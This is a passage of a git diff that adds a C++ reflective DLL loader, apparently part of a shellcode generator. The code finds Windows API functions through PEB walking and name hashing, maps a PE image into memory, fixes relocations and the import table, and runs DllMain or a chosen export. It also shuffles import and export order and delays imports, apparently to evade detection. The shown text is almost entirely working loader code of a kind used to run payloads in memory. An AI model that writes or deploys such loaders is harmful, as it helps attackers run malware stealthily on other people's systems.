auto pSleep = reinterpret_cast<SLEEP>(GetExportAddrFromHash(pbKernel32Dll, SLEEP_HASH, eng));
|
||||||
|
|
||||||
|
if (pLoadLibraryW == nullptr || pGetProcAddress == nullptr || pVirtualAlloc == nullptr || pFlushInstructionCache == nullptr || pVirtualProtect == nullptr || pSleep == nullptr)
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
2.) Load the target image to a newly allocated permanent memory location with RW permissions
|
||||||
|
- https://github.com/fancycode/MemoryModule/blob/master/MemoryModule.c
|
||||||
|
*/
|
||||||
|
|
||||||
|
auto pNtHeaders = GetNtHeaders(pImage);
|
||||||
|
|
||||||
|
if (pNtHeaders == nullptr)
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
else if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE)
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
else if (pNtHeaders->FileHeader.Machine != IMAGE_FILE_MACHINE_AMD64)
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
else if (pNtHeaders->OptionalHeader.SectionAlignment & 1)
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
auto dwImageSize = pNtHeaders->OptionalHeader.SizeOfImage;
|
||||||
|
auto ullPreferredImageBase = pNtHeaders->OptionalHeader.ImageBase;
|
||||||
|
|
||||||
|
// Try to allocate the image to the preferred base address
|
||||||
|
auto pNewImageBase = reinterpret_cast<ULONG_PTR>(pVirtualAlloc(reinterpret_cast<LPVOID>(ullPreferredImageBase), dwImageSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE));
|
||||||
|
|
||||||
|
if (!pNewImageBase)
|
||||||
|
{
|
||||||
|
// Try to allocate the image to any available base address
|
||||||
|
pNewImageBase = reinterpret_cast<ULONG_PTR>(pVirtualAlloc(nullptr, dwImageSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE));
|
||||||
|
|
||||||
|
if (!pNewImageBase)
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
CopyHeadersAndSections(pNewImageBase, pImage, pNtHeaders);
|
||||||
|
|
||||||
|
/*
|
||||||
|
3.) Process the image relocations (assumes the image couldn't be loaded to the preferred base address)
|
||||||
|
*/
|
||||||
|
|
||||||
|
auto ulpDelta = pNewImageBase - pNtHeaders->OptionalHeader.ImageBase;
|
||||||
|
auto pDataDir = &pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
|
||||||
|
|
||||||
|
if (!ProcessRelocations(pNewImageBase, pDataDir, ulpDelta))
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
4.) Resolve the imports by patching the Import Address Table (IAT)
|
||||||
|
*/
|
||||||
|
|
||||||
|
if (!PatchImportAddressTable(pNewImageBase, pDataDir, pLoadLibraryW, pGetProcAddress, eng))
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
5.) Finalize the sections by setting protective permissions after mapping the image
|
||||||
|
*/
|
||||||
|
|
||||||
|
FinalizeRelocations(pNewImageBase, pNtHeaders, pVirtualProtect, pFlushInstructionCache);
|
||||||
|
|
||||||
|
/*
|
||||||
|
6.) Execute DllMain or user defined function depending on the flag passed into the shellcode by the generator
|
||||||
|
*/
|
||||||
|
|
||||||
|
if (dwFlags == 0)
|
||||||
|
{
|
||||||
|
// Execute DllMain with DLL_PROCESS_ATTACH
|
||||||
|
auto pDllMain = reinterpret_cast<DLL_MAIN>(pNewImageBase + pNtHeaders->OptionalHeader.AddressOfEntryPoint);
|
||||||
|
// Optionally user data could also be passed to the DllMain instead of a separate function
|
||||||
|
pDllMain(reinterpret_cast<HMODULE>(pNewImageBase), DLL_PROCESS_ATTACH, nullptr);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
// Execute user defined function
|
||||||
|
auto pbNewImageBase = reinterpret_cast<PBYTE>(pNewImageBase);
|
||||||
|
auto pUserFunction = reinterpret_cast<USER_FUNCTION>(GetExportAddrFromHash(pbNewImageBase, dwFunctionHash, eng));
|
||||||
|
pUserFunction(pvUserData, dwUserDataLen);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void FinalizeRelocations(ULONG_PTR pNewImageBase, PIMAGE_NT_HEADERS64 pNtHeaders, VIRTUAL_PROTECT pVirtualProtect, FLUSH_INSTRUCTION_CACHE pFlushInstructionCache)
|
||||||
|
{
|
||||||
|
auto pSectionHeader = IMAGE_FIRST_SECTION(pNtHeaders);
|
||||||
|
|
||||||
|
DWORD dwOldProtect, dwNewProtect;
|
||||||
|
LPVOID lpAddress;
|
||||||
|
|
||||||
|
for (auto i = 0; i < pNtHeaders->FileHeader.NumberOfSections; pSectionHeader++, i++)
|
||||||
|
{
|
||||||
|
dwNewProtect = 0;
|
||||||
|
|
||||||
|
// Definitions for readability
|
||||||
|
DWORD dwIsExecutable = (pSectionHeader->Characteristics & IMAGE_SCN_MEM_EXECUTE) != 0;
|
||||||
|
DWORD dwIsReadable = (pSectionHeader->Characteristics & IMAGE_SCN_MEM_READ) != 0;
|
||||||
|
DWORD dwIsWritable = (pSectionHeader->Characteristics & IMAGE_SCN_MEM_WRITE) != 0;
|
||||||
|
|
||||||
|
if (!dwIsExecutable && !dwIsReadable && !dwIsWritable)
|
||||||
|
{
|
||||||
|
dwNewProtect = PAGE_NOACCESS;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (dwIsWritable)
|
||||||
|
{
|
||||||
|
dwNewProtect = PAGE_WRITECOPY;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (dwIsReadable)
|
||||||
|
{
|
||||||
|
dwNewProtect = PAGE_READONLY;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (dwIsWritable && dwIsReadable)
|
||||||
|
{
|
||||||
|
dwNewProtect = PAGE_READWRITE;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (dwIsExecutable)
|
||||||
|
{
|
||||||
|
dwNewProtect = PAGE_EXECUTE;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (dwIsExecutable && dwIsWritable)
|
||||||
|
{
|
||||||
|
dwNewProtect = PAGE_EXECUTE_WRITECOPY;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (dwIsExecutable && dwIsReadable)
|
||||||
|
{
|
||||||
|
dwNewProtect = PAGE_EXECUTE_READ;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (dwIsExecutable && dwIsWritable && dwIsReadable)
|
||||||
|
{
|
||||||
|
dwNewProtect = PAGE_EXECUTE_READWRITE;
|
||||||
|
}
|
||||||
|
|
||||||
|
lpAddress = reinterpret_cast<LPVOID>(pNewImageBase + pSectionHeader->VirtualAddress);
|
||||||
|
pVirtualProtect(lpAddress, pSectionHeader->Misc.VirtualSize, dwNewProtect, &dwOldProtect);
|
||||||
|
}
|
||||||
|
|
||||||
|
pFlushInstructionCache(INVALID_HANDLE_VALUE, nullptr, 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL PatchImportAddressTable(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, LOAD_LIBRARY_W pLoadLibraryW, GET_PROC_ADDRESS pGetProcAddress, std::mt19937 &eng)
|
||||||
|
{
|
||||||
|
auto pImportDescriptor = reinterpret_cast<PIMAGE_IMPORT_DESCRIPTOR>(pNewImageBase + pDataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
|
||||||
|
|
||||||
|
if (pImportDescriptor == nullptr)
|
||||||
|
{
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
1.) Shuffle Import Table entries
|
||||||
|
2.) Conditional execution based on ordinal/name
|
||||||
|
3.) Indirect function call via pointer
|
||||||
|
*/
|
||||||
|
|
||||||
|
int importCount = 0;
|
||||||
|
auto pId = pImportDescriptor;
|
||||||
|
|
||||||
|
while (pId->Name)
|
||||||
|
{
|
||||||
|
importCount++;
|
||||||
|
pId++;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (importCount > 1)
|
||||||
|
{
|
||||||
|
for (auto i = 0; i < importCount - 1; i++)
|
||||||
|
{
|
||||||
|
std::uniform_int_distribution<> distr(i, importCount - 1);
|
||||||
|
int j = distr(eng);
|
||||||
|
|
||||||
|
// Swap
|
||||||
|
auto tmp = pImportDescriptor[i];
|
||||||
|
pImportDescriptor[i] = pImportDescriptor[j];
|
||||||
|
pImportDescriptor[j] = tmp;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
LPCWSTR pwszModuleName;
|
||||||
|
HMODULE hModule;
|
||||||
|
PIMAGE_THUNK_DATA64 pThunkData, pThunkDataIat;
|
||||||
|
|
||||||
|
while (pImportDescriptor->Name)
|
||||||
|
{
|
||||||
|
pwszModuleName = reinterpret_cast<LPCWSTR>(pNewImageBase + pImportDescriptor->Name);
|
||||||
|
hModule = pLoadLibraryW(pwszModuleName);
|
||||||
|
|
||||||
|
if (hModule == nullptr)
|
||||||
|
{
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
pThunkData = reinterpret_cast<PIMAGE_THUNK_DATA64>(pNewImageBase + pImportDescriptor->OriginalFirstThunk);
|
||||||
|
pThunkDataIat = reinterpret_cast<PIMAGE_THUNK_DATA64>(pNewImageBase + pImportDescriptor->FirstThunk);
|
||||||
|
|
||||||
|
LPCSTR lpProcName;
|
||||||
|
PIMAGE_IMPORT_BY_NAME pImportByName;
|
||||||
|
|
||||||
|
while (pThunkData->u1.Function)
|
||||||
|
{
|
||||||
|
if (pThunkData->u1.Ordinal & IMAGE_ORDINAL_FLAG64)
|
||||||
|
{
|
||||||
|
// High bits masked out to get the ordinal number
|
||||||
|
lpProcName = reinterpret_cast<LPCSTR>(pThunkData->u1.Ordinal & 0xFFFF);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
// The address of the imported function is stored in the IMAGE_IMPORT_BY_NAME structure
|
||||||
|
pImportByName = reinterpret_cast<PIMAGE_IMPORT_BY_NAME>(pNewImageBase + pThunkData->u1.AddressOfData);
|
||||||
|
lpProcName = pImportByName->Name;
|
||||||
|
}
|
||||||
|
|
||||||
|
pThunkDataIat->u1.Function = reinterpret_cast<ULONGLONG>(pGetProcAddress(hModule, lpProcName));
|
||||||
|
|
||||||
|
pThunkData++;
|
||||||
|
pThunkDataIat++;
|
||||||
|
}
|
||||||
|
|
||||||
|
pImportDescriptor++;
|
||||||
|
}
|
||||||
|
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL ProcessRelocations(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, ULONG_PTR ulpDelta)
|
||||||
|
{
|
||||||
|
auto pRelocation = reinterpret_cast<PIMAGE_BASE_RELOCATION>(pNewImageBase + pDataDirectory->VirtualAddress);
|
||||||
|
|
||||||
|
if (pRelocation == nullptr || pDataDirectory->Size == 0)
|
||||||
|
{
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Upper bound to prevent accessing memory part the end of the relocation data
|
||||||
|
auto dwRelocationEnd = pDataDirectory->VirtualAddress + pDataDirectory->Size;
|
||||||
|
PIMAGE_RELOC pRelocationList;
|
||||||
|
|
||||||
|
while (pRelocation->VirtualAddress && pRelocation->VirtualAddress <= dwRelocationEnd && pRelocation->SizeOfBlock)
|
||||||
|
{
|
||||||
|
pRelocationList = reinterpret_cast<PIMAGE_RELOC>(pRelocation + 1);
|
||||||
|
|
||||||
|
while (reinterpret_cast<PBYTE>(pRelocationList) < reinterpret_cast<PBYTE>(pRelocation) + pRelocation->SizeOfBlock)
|
||||||
|
{
|
||||||
|
auto pPatchAddress = reinterpret_cast<PBYTE>(pNewImageBase + pRelocation->VirtualAddress + pRelocationList->offset);
|
||||||
|
|
||||||
|
// Note -- Types adjusted from PULONG_PTR to PDWORD and PWORD
|
||||||
|
switch (pRelocationList->type)
|
||||||
|
{
|
||||||
|
case IMAGE_REL_BASED_DIR64:
|
||||||
|
*reinterpret_cast<PULONG_PTR>(pPatchAddress) += ulpDelta;
|
||||||
|
break;
|
||||||
|
case IMAGE_REL_BASED_HIGHLOW:
|
||||||
|
*reinterpret_cast<PDWORD>(pPatchAddress) += static_cast<DWORD>(ulpDelta);
|
||||||
|
break;
|
||||||
|
case IMAGE_REL_BASED_HIGH:
|
||||||
|
*reinterpret_cast<PWORD>(pPatchAddress) += HIWORD(ulpDelta);
|
||||||
|
break;
|
||||||
|
case IMAGE_REL_BASED_LOW:
|
||||||
|
*reinterpret_cast<PWORD>(pPatchAddress) += LOWORD(ulpDelta);
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
pRelocationList++;
|
||||||
|
}
|
||||||
|
|
||||||
|
pRelocation = reinterpret_cast<PIMAGE_BASE_RELOCATION>(pRelocationList);
|
||||||
|
}
|
||||||
|
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
void CopyHeadersAndSections(ULONG_PTR pNewImageBase, PBYTE pbImage, PIMAGE_NT_HEADERS64 pNtHeaders)
|
||||||
|
{
|
||||||
|
// Copy headers
|
||||||
|
auto pbDst = reinterpret_cast<PBYTE>(pNewImageBase);
|
||||||
|
std::copy(pbImage, pbImage + pNtHeaders->OptionalHeader.SizeOfHeaders, pbDst);
|
||||||
|
|
||||||
|
// Copy sections
|
||||||
|
auto pSectionHeader = IMAGE_FIRST_SECTION(pNtHeaders);
|
||||||
|
pbDst = reinterpret_cast<PBYTE>(pNewImageBase + pSectionHeader->VirtualAddress);
|
||||||
|
|
||||||
|
PBYTE pbSrc;
|
||||||
|
|
||||||
|
for (auto i = 0; i < pNtHeaders->FileHeader.NumberOfSections; pSectionHeader++, i++)
|
||||||
|
{
|
||||||
|
pbSrc = reinterpret_cast<PBYTE>(pbImage + pSectionHeader->PointerToRawData);
|
||||||
|
std::copy(pbSrc, pbSrc + pSectionHeader->SizeOfRawData, pbDst);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
PBYTE GetModuleAddressFromHash(DWORD dwHash)
|
||||||
|
{
|
||||||
|
// https://en.wikipedia.org/wiki/Win32_Thread_Information_Block
|
||||||
|
#if defined(_WIN64)
|
||||||
|
// PEB is at GS:[0x60]
|
||||||
|
auto pPEB = reinterpret_cast<PPEB>(__readgsqword(0x60));
|
||||||
|
#else
|
||||||
|
// PEB is at FS:[0x30]
|
||||||
|
auto pPEB = reinterpret_cast<PPEB>(__readfsdword(0x30));
|
||||||
|
#endif
|
||||||
|
|
||||||
|
auto pLdr = reinterpret_cast<PMY_PEB_LDR_DATA>(pPEB->Ldr);
|
||||||
|
auto pEntry = reinterpret_cast<PMY_LDR_DATA_TABLE_ENTRY>(pLdr->InLoadOrderModuleList.Flink);
|
||||||
|
|
||||||
|
while (pEntry->DllBase != NULL)
|
||||||
|
{
|
||||||
|
if (CalculateHash(pEntry->BaseDllName) == dwHash && pEntry->DllBase != nullptr)
|
||||||
|
{
|
||||||
|
return reinterpret_cast<PBYTE>(pEntry->DllBase);
|
||||||
|
}
|
||||||
|
|
||||||
|
pEntry = reinterpret_cast<PMY_LDR_DATA_TABLE_ENTRY>(pEntry->InLoadOrderLinks.Flink);
|
||||||
|
}
|
||||||
|
|
||||||
|
return nullptr;
|
||||||
|
}
|
||||||
|
|
||||||
|
HMODULE GetExportAddrFromHash(PBYTE pbModule, DWORD dwHash, std::mt19937 &eng)
|
||||||
|
{
|
||||||
|
auto pNtHeaders = GetNtHeaders(pbModule);
|
||||||
|
|
||||||
|
if (pNtHeaders == nullptr)
|
||||||
|
{
|
||||||
|
return nullptr;
|
||||||
|
}
|
||||||
|
|
||||||
|
auto *pExportDir = &pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
|
||||||
|
auto *pExport = reinterpret_cast<PIMAGE_EXPORT_DIRECTORY>(pbModule + pExportDir->VirtualAddress);
|
||||||
|
|
||||||
|
/*
|
||||||
|
1.) Read the export data (dwNameRva's)
|
||||||
|
2.) Shuffle the order of the collected export name RVA's
|
||||||
|
3.) Find the correct export by calculating hashes of the function names
|
||||||
|
*/
|
||||||
|
|
||||||
|
DWORD dwNameRva;
|
||||||
|
std::vector<std::tuple<DWORD, size_t>> vNameRvas;
|
||||||
|
|
||||||
|
for (DWORD i = 0; i < pExport->NumberOfNames; i++)
|
||||||
|
{
|
||||||
|
dwNameRva = (reinterpret_cast<DWORD *>(pbModule + pExport->AddressOfNames))[i];
|
||||||
|
vNameRvas.push_back(std::make_tuple(dwNameRva, i));
|
||||||
|
}
|
||||||
|
|
||||||
|
std::shuffle(vNameRvas.begin(), vNameRvas.end(), eng);
|
||||||
|
|
||||||
|
DWORD dwNameHash, dwFunctionRva;
|
||||||
|
UNICODE_STRING *strFunctionNameBase;
|
||||||
|
WORD wOrdinal;
|
||||||
|
|
||||||
|
for (auto dwNRva : vNameRvas)
|
||||||
|
{
|
||||||
|
strFunctionNameBase = reinterpret_cast<UNICODE_STRING *>(pbModule + std::get<0>(dwNRva));
|
||||||
|
dwNameHash = CalculateHash(*strFunctionNameBase);
|
||||||
|
|
||||||
|
if (dwNameHash == dwHash)
|
||||||
|
{
|
||||||
|
wOrdinal = (reinterpret_cast<WORD *>(pbModule + pExport->AddressOfNameOrdinals))[std::get<1>(dwNRva)];
|
||||||
|
dwFunctionRva = (reinterpret_cast<DWORD *>(pbModule + pExport->AddressOfFunctions))[wOrdinal];
|
||||||
|
|
||||||
|
return reinterpret_cast<HMODULE>(pbModule + dwFunctionRva);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return nullptr;
|
||||||
|
}
|
||||||
|
|
||||||
|
PIMAGE_NT_HEADERS64 GetNtHeaders(PBYTE pbImage)
|
||||||
|
{
|
||||||
|
auto pDosHeader = reinterpret_cast<PIMAGE_DOS_HEADER>(pbImage);
|
||||||
|
|
||||||
|
if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
|
||||||
|
{
|
||||||
|
return nullptr;
|
||||||
|
}
|
||||||
|
|
||||||
|
auto pNtHeaders = reinterpret_cast<PIMAGE_NT_HEADERS64>(pbImage + pDosHeader->e_lfanew);
|
||||||
|
|
||||||
|
if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE)
|
||||||
|
{
|
||||||
|
return nullptr;
|
||||||
|
}
|
||||||
|
|
||||||
|
return pNtHeaders;
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD CalculateHash(const UNICODE_STRING &baseDllName)
|
||||||
|
{
|
||||||
|
auto pwszBaseDllName = baseDllName.Buffer;
|
||||||
|
auto dwHash = HASH_KEY;
|
||||||
|
|
||||||
|
char ch;
|
||||||
|
|
||||||
|
for (auto i = 0; i < baseDllName.MaximumLength; i++)
|
||||||
|
{
|
||||||
|
ch = pwszBaseDllName[i];
|
||||||
|
|
||||||
|
if (ch == '\0')
|
||||||
|
{
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (ch >= 'a' && ch <= 'z')
|
||||||
|
{
|
||||||
|
ch -= 0x20;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Casting might be unnecessary
|
||||||
|
dwHash = ((dwHash << 5) + dwHash) + static_cast<DWORD>(ch);
|
||||||
|
}
|
||||||
|
|
||||||
|
return dwHash;
|
||||||
|
}
|
@ -1,66 +0,0 @@
|
|||||||
#pragma once
|
|
||||||
#include <windows.h>
|
|
||||||
#include <subauth.h>
|
|
||||||
|
|
||||||
#define IMPORT_DELAY 6 * 1000 * 1000
|
|
||||||
#define HASH_KEY 5381
|
|
||||||
|
|
||||||
#define KERNEL32_DLL_HASH 0x6DDB9555
|
|
||||||
// #define NTDLL_DLL_HASH 0x1EDAB0ED
|
|
||||||
#define LOAD_LIBRARY_W_HASH 0xB7072FF1
|
|
||||||
#define GET_PROC_ADDRESS_HASH 0xDECFC1BF
|
|
||||||
#define VIRTUAL_ALLOC_HASH 0x097BC257
|
|
||||||
#define FLUSH_INSTRUCTION_CACHE_HASH 0xEFB7BF9D
|
|
||||||
#define VIRTUAL_PROTECT_HASH 0xE857500D
|
|
||||||
#define SLEEP_HASH 0x0E07CD7E
|
|
||||||
|
|
||||||
// Signatures from MSDN
|
|
||||||
typedef HMODULE(WINAPI *LOAD_LIBRARY_W)(LPCWSTR);
|
|
||||||
typedef ULONG_PTR(WINAPI *GET_PROC_ADDRESS)(HMODULE, LPCSTR);
|
|
||||||
typedef LPVOID(WINAPI *VIRTUAL_ALLOC)(LPVOID, SIZE_T, DWORD, DWORD);
|
|
||||||
typedef BOOL(WINAPI *FLUSH_INSTRUCTION_CACHE)(HANDLE, LPCVOID, SIZE_T);
|
|
||||||
typedef BOOL(WINAPI *VIRTUAL_PROTECT)(LPVOID, SIZE_T, DWORD, PDWORD);
|
|
||||||
typedef VOID(WINAPI *SLEEP)(DWORD);
|
|
||||||
|
|
||||||
typedef BOOL(WINAPI *DLLMAIN)(HMODULE, DWORD, LPVOID);
|
|
||||||
typedef BOOL(WINAPI *USER_FUNCTION)(LPVOID, DWORD);
|
|
||||||
|
|
||||||
typedef struct _MY_PEB_LDR_DATA
|
|
||||||
{
|
|
||||||
ULONG Length;
|
|
||||||
BOOL Initialized;
|
|
||||||
PVOID SsHandle;
|
|
||||||
LIST_ENTRY InLoadOrderModuleList;
|
|
||||||
LIST_ENTRY InMemoryOrderModuleList;
|
|
||||||
LIST_ENTRY InInitializationOrderModuleList;
|
|
||||||
} MY_PEB_LDR_DATA, *PMY_PEB_LDR_DATA;
|
|
||||||
|
|
||||||
typedef struct _MY_LDR_DATA_TABLE_ENTRY
|
|
||||||
{
|
|
||||||
LIST_ENTRY InLoadOrderLinks;
|
|
||||||
LIST_ENTRY InMemoryOrderLinks;
|
|
||||||
LIST_ENTRY InInitializationOrderLinks;
|
|
||||||
PVOID DllBase;
|
|
||||||
PVOID EntryPoint;
|
|
||||||
ULONG SizeOfImage;
|
|
||||||
UNICODE_STRING FullDllName;
|
|
||||||
UNICODE_STRING BaseDllName;
|
|
||||||
} MY_LDR_DATA_TABLE_ENTRY, *PMY_LDR_DATA_TABLE_ENTRY;
|
|
||||||
|
|
||||||
typedef struct
|
|
||||||
{
|
|
||||||
WORD offset : 12;
|
|
||||||
WORD type : 4;
|
|
||||||
} IMAGE_RELOC, *PIMAGE_RELOC;
|
|
||||||
|
|
||||||
PIMAGE_NT_HEADERS64 GetNtHeaders(PBYTE pImage);
|
|
||||||
DWORD CalculateHash(UNICODE_STRING *BaseDllName);
|
|
||||||
|
|
||||||
HMODULE GetModuleAddrFromHash(DWORD dwHash);
|
|
||||||
HMODULE GetExportAddrFromHash(HMODULE hModule, DWORD dwHash);
|
|
||||||
|
|
||||||
void CopySections(ULONG_PTR pNewImageBase, PVOID pImage, PIMAGE_NT_HEADERS64 pNtHeaders);
|
|
||||||
void CopyHeaders(ULONG_PTR pNewImageBase, PVOID pImage, PIMAGE_NT_HEADERS64 pNtHeaders);
|
|
||||||
BOOL ProcessRelocations(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, ULONG_PTR ulpDelta);
|
|
||||||
BOOL PatchImportAddressTable(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, LOAD_LIBRARY_W pLoadLibraryW, GET_PROC_ADDRESS pGetProcAddress);
|
|
||||||
void FinalizeRelocations(ULONG_PTR pNewImageBase, PIMAGE_NT_HEADERS64 pNtHeaders, VIRTUAL_PROTECT pVirtualProtect, FLUSH_INSTRUCTION_CACHE pFlushInstructionCache);
|
|
76
reflective_loader/loader.hpp
Normal file
76
reflective_loader/loader.hpp
Normal file
@ -0,0 +1,76 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include <windows.h>
|
||||||
|
#include <winternl.h>
|
||||||
|
#include <random>
|
||||||
|
|
||||||
|
#define IMPORT_DELAY 6 * 1000 // 6 seconds
|
||||||
|
#define HASH_KEY 5381
|
||||||
|
|
||||||
|
#define KERNEL32_DLL_HASH 0x6DDB9555
|
||||||
|
// #define NTDLL_DLL_HASH 0x1EDAB0ED
|
||||||
|
#define LOAD_LIBRARY_W_HASH 0xB7072FF1
|
||||||
|
#define GET_PROC_ADDRESS_HASH 0xDECFC1BF
|
||||||
|
#define VIRTUAL_ALLOC_HASH 0x097BC257
|
||||||
|
#define FLUSH_INSTRUCTION_CACHE_HASH 0xEFB7BF9D
|
||||||
|
#define VIRTUAL_PROTECT_HASH 0xE857500D
|
||||||
|
#define SLEEP_HASH 0x0E07CD7E
|
||||||
|
|
||||||
|
// Function pointer typedefs from MSDN
|
||||||
|
using LOAD_LIBRARY_W = HMODULE(WINAPI *)(LPCWSTR);
|
||||||
|
using GET_PROC_ADDRESS = ULONG_PTR(WINAPI *)(HMODULE, LPCSTR);
|
||||||
|
using VIRTUAL_ALLOC = LPVOID(WINAPI *)(LPVOID, SIZE_T, DWORD, DWORD);
|
||||||
|
using FLUSH_INSTRUCTION_CACHE = BOOL(WINAPI *)(HANDLE, LPCVOID, SIZE_T);
|
||||||
|
using VIRTUAL_PROTECT = BOOL(WINAPI *)(LPVOID, SIZE_T, DWORD, PDWORD);
|
||||||
|
using SLEEP = VOID(WINAPI *)(DWORD);
|
||||||
|
|
||||||
|
// Payload function pointer typedefs
|
||||||
|
using DLL_MAIN = BOOL(WINAPI *)(HMODULE, DWORD, LPVOID);
|
||||||
|
using USER_FUNCTION = BOOL(WINAPI *)(LPVOID, DWORD);
|
||||||
|
|
||||||
|
// Complete WinAPI PEB structs
|
||||||
|
struct _MY_PEB_LDR_DATA
|
||||||
|
{
|
||||||
|
ULONG Length;
|
||||||
|
BOOL Initialized;
|
||||||
|
PVOID SsHandle;
|
||||||
|
LIST_ENTRY InLoadOrderModuleList;
|
||||||
|
LIST_ENTRY InMemoryOrderModuleList;
|
||||||
|
LIST_ENTRY InInitializationOrderModuleList;
|
||||||
|
};
|
||||||
|
using MY_PEB_LDR_DATA = _MY_PEB_LDR_DATA;
|
||||||
|
using PMY_PEB_LDR_DATA = _MY_PEB_LDR_DATA *;
|
||||||
|
|
||||||
|
struct _MY_LDR_DATA_TABLE_ENTRY
|
||||||
|
{
|
||||||
|
LIST_ENTRY InLoadOrderLinks;
|
||||||
|
LIST_ENTRY InMemoryOrderLinks;
|
||||||
|
LIST_ENTRY InInitializationOrderLinks;
|
||||||
|
PVOID DllBase;
|
||||||
|
PVOID EntryPoint;
|
||||||
|
ULONG SizeOfImage;
|
||||||
|
UNICODE_STRING FullDllName;
|
||||||
|
UNICODE_STRING BaseDllName;
|
||||||
|
};
|
||||||
|
using MY_LDR_DATA_TABLE_ENTRY = _MY_LDR_DATA_TABLE_ENTRY;
|
||||||
|
using PMY_LDR_DATA_TABLE_ENTRY = _MY_LDR_DATA_TABLE_ENTRY *;
|
||||||
|
|
||||||
|
struct _IMAGE_RELOC
|
||||||
|
{
|
||||||
|
WORD offset : 12;
|
||||||
|
WORD type : 4;
|
||||||
|
};
|
||||||
|
using IMAGE_RELOC = _IMAGE_RELOC;
|
||||||
|
using PIMAGE_RELOC = _IMAGE_RELOC *;
|
||||||
|
|
||||||
|
// Utils
|
||||||
|
PBYTE GetModuleAddressFromHash(DWORD dwHash);
|
||||||
|
HMODULE GetExportAddrFromHash(PBYTE pbModule, DWORD dwHash, std::mt19937 &eng);
|
||||||
|
PIMAGE_NT_HEADERS64 GetNtHeaders(PBYTE pbImage);
|
||||||
|
DWORD CalculateHash(const UNICODE_STRING &baseDllName);
|
||||||
|
|
||||||
|
// Loader functions
|
||||||
|
void CopyHeadersAndSections(ULONG_PTR pNewImageBase, PBYTE pbImage, PIMAGE_NT_HEADERS64 pNtHeaders);
|
||||||
|
BOOL ProcessRelocations(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, ULONG_PTR ulpDelta);
|
||||||
|
BOOL PatchImportAddressTable(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, LOAD_LIBRARY_W pLoadLibraryW, GET_PROC_ADDRESS pGetProcAddress, std::mt19937 &eng);
|
||||||
|
void FinalizeRelocations(ULONG_PTR pNewImageBase, PIMAGE_NT_HEADERS64 pNtHeaders, VIRTUAL_PROTECT pVirtualProtect, FLUSH_INSTRUCTION_CACHE pFlushInstructionCache);
|
Loading…
Reference in New Issue
Block a user